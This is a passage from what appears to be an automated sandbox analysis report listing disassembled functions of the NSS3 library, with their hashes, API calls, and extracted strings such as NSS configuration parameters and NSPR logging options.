Instruction ID: 0997b4c142304214c889f70126cebecf2ff0e3882c3fbffcc3c793d8d546ad15
Opcode Fuzzy Hash: 9659b928c85585fad14664047c0bd07ef1c489419371cb6ae2b6b1259638cb22
Instruction Fuzzy Hash: 1F11EF32A013068BD704DF29DC84B5AB3A5FF4231CF0652BAD8058FA51C375E882CBCA

Function 6C6B0C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6841552ef66b4373e3f31ae3dc0e93baef669c775f8bc8f79501874d19e830b0
Instruction ID: 133bba3576323440948bb696994963418b6db23b5ec0bf5d9ea850bd75a92a02
Opcode Fuzzy Hash: 6841552ef66b4373e3f31ae3dc0e93baef669c775f8bc8f79501874d19e830b0
Instruction Fuzzy Hash: 6E11CEB8704305CFCB10DF29C8806AA7BA2FF85368F148079D8199BB11DB31E816CBA4

Function 6C623FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: 4c4230bedff68fdacc2a81f2185ca0f0d3d53407ed5a07ae300b4635c628c83f
Instruction ID: 1844dd77bd8859ba8ee394ce7437f48ccae8369103b93d119862de0362b85cf1
Opcode Fuzzy Hash: 4c4230bedff68fdacc2a81f2185ca0f0d3d53407ed5a07ae300b4635c628c83f
Instruction Fuzzy Hash: DCF05E70E0475D8BCB10DF69C45159BB7F8EF4A254F109629EC89AB301EB30AAC5C7D5

Function 6C6B0D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: b382c4e39fb4a4c5b88e29631ab9a6766326f3119cae4f7c2d5d69bac073058c
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 6EE0927A302154A7DB148E09C560AA97B99EF82719FB4807DCC5DAFA42D733F8138785

Function 6C5DCC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97c6fb15f39d8fad4867859edec2bdbce89c8f16fb0c5d68576c60c5283c4d81
Instruction ID: 91d7064a435ac80d9b2c79061eee53c3cd967b17485e69af44d82b05ced4c03d
Opcode Fuzzy Hash: 97c6fb15f39d8fad4867859edec2bdbce89c8f16fb0c5d68576c60c5283c4d81
Instruction Fuzzy Hash: 23C04838244608CFC704EE08E4899A43BA8AB0961570440A5EA028B721DA21F810EA80

Function 6C629840 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fb5c50616b1811c6f51e82d19d2b2597d04decd19ec0693290d4384f92a6eb8
Instruction ID: 2b81ee04c40a7debfe5536f705ada8870fb8242bc661d06d773bf7d3ed76553c
Opcode Fuzzy Hash: 8fb5c50616b1811c6f51e82d19d2b2597d04decd19ec0693290d4384f92a6eb8
Instruction Fuzzy Hash:

Function 6C645DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6C645E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C645E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6C645E5C
free.MOZGLUE(00000000), ref: 6C645E7E
free.MOZGLUE(00000000), ref: 6C645E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6C645EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6C645EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C645ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6C645EF0
free.MOZGLUE(00000000), ref: 6C645F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6C645F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6C645F5B
free.MOZGLUE(00000000), ref: 6C645F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6C645FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6C645FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C645FC4
free.MOZGLUE(00000000), ref: 6C645FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C645FE9
free.MOZGLUE(00000000), ref: 6C645FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C64600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C646027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6C64605A
PR_smprintf.NSS3(6C71AAF9,00000000), ref: 6C64606A
free.MOZGLUE(00000000), ref: 6C64607C
free.MOZGLUE(00000000), ref: 6C64609A
free.MOZGLUE(00000000), ref: 6C6460B2
free.MOZGLUE(?), ref: 6C6460CE

Strings

secmod=, xrefs: 6C645FB1
flags, xrefs: 6C645E3A, 6C645EC6, 6C645F30
readOnly, xrefs: 6C645E56
configDir=, xrefs: 6C645F9D
noModDB, xrefs: 6C645EEA
%s/%s, xrefs: 6C646055
pkcs11.txt, xrefs: 6C645F47, 6C645F7C, 6C64603A, 6C646053
forceSecmodChoice, xrefs: 6C645F55
secmod.db, xrefs: 6C645EA0

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 2341daccbd6cfb20d24eb400845f7d627abc5cd857580a5221a9ccb6d9f68510
Instruction ID: 2bfa08bf7418c174210d2a4b3536cb4f48fc3f1c3c5fe2ed97fd28064468b90e
Opcode Fuzzy Hash: 2341daccbd6cfb20d24eb400845f7d627abc5cd857580a5221a9ccb6d9f68510
Instruction Fuzzy Hash: 049118F0A042155BEF109F24DD81BAB3BA4AF0634DF18C061EC59DBB42E735D945CBAA

Function 6C5D1D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6C5D1DA3

Part of subcall function 6C6A98D0: calloc.MOZGLUE(00000001,00000084,6C5D0936,00000001,?,6C5D102C), ref: 6C6A98E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6C5D1DB2

Part of subcall function 6C5D1240: TlsGetValue.KERNEL32(00000040,?,6C5D116C,NSPR_LOG_MODULES), ref: 6C5D1267
Part of subcall function 6C5D1240: EnterCriticalSection.KERNEL32(?,?,?,6C5D116C,NSPR_LOG_MODULES), ref: 6C5D127C
Part of subcall function 6C5D1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C5D116C,NSPR_LOG_MODULES), ref: 6C5D1291
Part of subcall function 6C5D1240: PR_Unlock.NSS3(?,?,?,?,6C5D116C,NSPR_LOG_MODULES), ref: 6C5D12A0

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5D1DD8
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sync), ref: 6C5D1E4F
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,bufsize), ref: 6C5D1EA4
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,timestamp), ref: 6C5D1ECD
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,append), ref: 6C5D1EEF
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6C5D1F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C5D1F34
PR_SetLogBuffering.NSS3(00004000), ref: 6C5D1F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6C5D1F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5D1F83
PR_SetLogFile.NSS3(00000000), ref: 6C5D1FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6C5D1FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6C5D1FCB
free.MOZGLUE(00000000), ref: 6C5D1FD2

Strings

sync, xrefs: 6C5D1E46
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6C5D1E27
NSPR_LOG_FILE, xrefs: 6C5D1F69
Unable to create nspr log file '%s', xrefs: 6C5D1FB3
all, xrefs: 6C5D1F0E
, %n, xrefs: 6C5D1E6B
bufsize, xrefs: 6C5D1E9B
append, xrefs: 6C5D1EE6
NSPR_LOG_MODULES, xrefs: 6C5D1DAD
timestamp, xrefs: 6C5D1EC4

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 56e077a3acea20b29d2dff798c8c6d23d8b9986d42eb339035b373ff504e84a6
Instruction ID: 5ecaef9f7975b18eef1eca19568e0014b71d8b0173f578cfb7e3974aa43b9fb2
Opcode Fuzzy Hash: 56e077a3acea20b29d2dff798c8c6d23d8b9986d42eb339035b373ff504e84a6
Instruction Fuzzy Hash: 4351A5B1D043599BDF00EBE9CD4479F7BB8AF01319F190528E819DBA40E770E518CB5A

Function 6C6B6E50 Relevance: 44.0, APIs: 19, Strings: 6, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C56CA30: EnterCriticalSection.KERNEL32(?,?,?,6C5CF9C9,?,6C5CF4DA,6C5CF9C9,?,?,6C59369A), ref: 6C56CA7A
Part of subcall function 6C56CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C56CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C57BE66), ref: 6C6B6E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C57BE66), ref: 6C6B6E98
sqlite3_snprintf.NSS3(?,00000000,6C71AAF9,?,?,?,?,?,?,6C57BE66), ref: 6C6B6EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C57BE66), ref: 6C6B6ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C57BE66), ref: 6C6B6EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C57BE66), ref: 6C6B6F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C57BE66), ref: 6C6B6F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C57BE66), ref: 6C6B6F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C57BE66), ref: 6C6B6FA6
sqlite3_snprintf.NSS3(?,00000000,6C71AAF9,00000000,?,?,?,?,?,?,?,6C57BE66), ref: 6C6B6FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C57BE66), ref: 6C6B6FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C57BE66), ref: 6C6B6FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C57BE66), ref: 6C6B7014
sqlite3_free.NSS3(00000000,?,?,?,?,6C57BE66), ref: 6C6B701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C57BE66), ref: 6C6B7030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C57BE66), ref: 6C6B705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C57BE66), ref: 6C6B7079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C57BE66), ref: 6C6B7097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C57BE66), ref: 6C6B70A0

Strings

winGetTempname5, xrefs: 6C6B7071
winGetTempname1, xrefs: 6C6B708F
mz_etilqs_, xrefs: 6C6B6F18
Pol, xrefs: 6C6B70A8
winGetTempname4, xrefs: 6C6B7046
winGetTempname2, xrefs: 6C6B70C4

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: Pol$mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-1744226271
Opcode ID: 5dd9585437b48be609cd57bdd9175da37e02d0760cf47935234604ea468260cd
Instruction ID: 1521c588e765e26e04da33fe98df20b13ce17d920afaaf32bc1d872432a59759
Opcode Fuzzy Hash: 5dd9585437b48be609cd57bdd9175da37e02d0760cf47935234604ea468260cd
Instruction Fuzzy Hash: DA517AB2A0421167E3045631AC51BAB36669BD2318F144538E815A7FD1EF35AD2EC3EB

Function 6C644FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5F75C2,00000000,00000000,00000001), ref: 6C645009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5F75C2,00000000), ref: 6C645049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C64505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6C645071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6C645089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6450A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C6450B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5F75C2), ref: 6C6450CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6450D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C6450F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C645103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C64511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C64512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C645145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C645153
free.MOZGLUE(?), ref: 6C64516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C64517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C645195

Strings

library=, xrefs: 6C645043
config=, xrefs: 6C64509B
name=, xrefs: 6C645057
nss=, xrefs: 6C645083
parameters=, xrefs: 6C64506B

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: ac3d970f04f6bc9a3c95b7513619072ed87547d9925e62e834988a20b727a139
Instruction ID: 15cbe0be63f33a96145c0fa153793803d3ac7bc75543b6192e9bf712e14d73a0
Opcode Fuzzy Hash: ac3d970f04f6bc9a3c95b7513619072ed87547d9925e62e834988a20b727a139
Instruction Fuzzy Hash: C651D8B5A012169BEB10DF24DD41AEF37A8AF06349F148030EC19E7741E725E919C7BA

Function 6C644C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C634F51,00000000), ref: 6C644C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C634F51,00000000), ref: 6C644C5B
PR_smprintf.NSS3(6C71AAF9,?,0000002F,?,?,?,00000000,00000000,?,6C634F51,00000000), ref: 6C644C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C634F51,00000000), ref: 6C644CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C644CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C644CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C644D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C634F51,00000000), ref: 6C644D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C634F51,00000000), ref: 6C644D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C644D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C644DA2
free.MOZGLUE(?), ref: 6C644DB9
free.MOZGLUE(00000000), ref: 6C644DCF

Strings

rootFlags, xrefs: 6C644D47
timeout, xrefs: 6C644C91
rust, xrefs: 6C644D22
0x%08lx=[%s %s], xrefs: 6C644D80
every, xrefs: 6C644CA1
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C644D9D
slotFlags, xrefs: 6C644D34
ootT, xrefs: 6C644D1A
%s,%s, xrefs: 6C644C4B
any, xrefs: 6C644C96

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: c7b1edab720585026836d172b103dbd0fc77021e5022fd4321ffbfdf4ac54389
Instruction ID: edc8002a22244443c0bf262b09852ee6c942d0f33eefa8090f83d4b85411a53e
Opcode Fuzzy Hash: c7b1edab720585026836d172b103dbd0fc77021e5022fd4321ffbfdf4ac54389
Instruction Fuzzy Hash: E1418AB1900141ABDB219F149C42ABA3AB5AF9234DF0CC138E81A4BB02E771D915C7DB

Function 6C626CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C626910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C626943
Part of subcall function 6C626910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C626957
Part of subcall function 6C626910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C626972
Part of subcall function 6C626910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C626983
Part of subcall function 6C626910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C6269AA
Part of subcall function 6C626910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C6269BE
Part of subcall function 6C626910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C6269D2
Part of subcall function 6C626910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C6269DF
Part of subcall function 6C626910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C626A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C626D8C
free.MOZGLUE(00000000), ref: 6C626DC5
free.MOZGLUE(?), ref: 6C626DD6
free.MOZGLUE(?), ref: 6C626DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C626E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C626E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C626E72
free.MOZGLUE(?), ref: 6C626EA7
free.MOZGLUE(?), ref: 6C626EC4
free.MOZGLUE(?), ref: 6C626ED5
free.MOZGLUE(00000000), ref: 6C626EE3
free.MOZGLUE(?), ref: 6C626EF4
free.MOZGLUE(?), ref: 6C626F08
free.MOZGLUE(00000000), ref: 6C626F35
free.MOZGLUE(?), ref: 6C626F44
free.MOZGLUE(?), ref: 6C626F5B
free.MOZGLUE(00000000), ref: 6C626F65

Part of subcall function 6C626C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C62781D,00000000,6C61BE2C,?,6C626B1D,?,?,?,?,00000000,00000000,6C62781D), ref: 6C626C40
Part of subcall function 6C626C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C62781D,?,6C61BE2C,?), ref: 6C626C58
Part of subcall function 6C626C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C62781D), ref: 6C626C6F
Part of subcall function 6C626C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C626C84
